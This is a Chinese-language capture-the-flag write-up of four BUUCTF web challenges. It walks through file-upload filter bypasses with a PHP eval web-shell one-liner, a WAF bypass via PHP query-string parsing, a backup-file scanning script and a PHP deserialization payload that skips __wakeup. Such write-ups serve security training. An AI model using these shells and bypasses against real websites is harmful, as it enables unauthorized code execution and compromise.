[极客大挑战 2019]Upload;[RoarCTF 2019]Easy Calc;[ACTF2020 新生赛]Upload;[极客大挑战 2019]PHP
[极客大挑战 2019]Upload
先更改为图片的类型,将content-type改为image/jpg 不能为php,可改成phtml,php2,php3,php4,php5,php6,php7,pht,phtm,phtml等,都会被解析成php 过滤了<?,?>,可用另一种书写方式 <script language="php">eval($_POST['shell']);</script> 
没有图片文件开头的标识GIF89aX?,添加上去,上传成功 
连接菜刀,得到flag 从上面可知,只过滤了php后缀,所以还可以上传.htaccess配置文件,更改文件后缀的关联属性 再上传一个1.aa 连接到shell,但是看不了文件,我也不知道为什么 
[RoarCTF 2019]Easy Calc
提示有waf,并且存在calc.php页面 calc.php过滤了相关符号 waf过滤了字母 利用 php字符串解析特性,它解析字符串时,会将一些字符转换为下划线,或者删除 如http://node4.buuoj.cn:29995/calc.php? num=a,在num前加空格,waf会认为’ nmu’这不是字母,因为它前面有空格,而php会将前面的空格删掉,‘ num’就等同与‘num’,故绕过了waf也执行了函数 过滤/,所以使用ascii码进行命令执行,发现没有执行 换成php的输出和查看目录的函数print_r与var_dump都行 然后查看内容readfile与file_get_contents都行 
[ACTF2020 新生赛]Upload
上传时抓包,发现抓不了,并弹出提示,说js限制了上传的后缀,所以关闭js再抓包   之后上传图片,改为php后缀,被拦截 但改为asp,上传成功,多半只有php是黑名单 
故可以将后缀改为phtml,添加一句话木马,成功上传  得到flag 
[极客大挑战 2019]PHP
扫描备份文件
import requests
import time
url='http://3779d591-9cc0-48af-8a72-b0f3463ee1d5.node4.buuoj.cn:81/'
with open('beifen.txt') as f:
for i in f:
ii = i.replace('\n', '')
urls=url+ii
data=requests.get(urls).status_code
if data==200:
print(urls)
得到备份文件
http:
解压得到关键文件index.php,class.php 通过index.php传入参数 class.php进行反序列化操作 payload的username需等于admin,password需等于100, 但要绕过__wakeup,故将代表变量个数的数字改成比真实值大,就不会执行__wakeup; 因为private为私有变量,需在Nameusername中加%00,变为%00Name%00username
故payload为?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 
|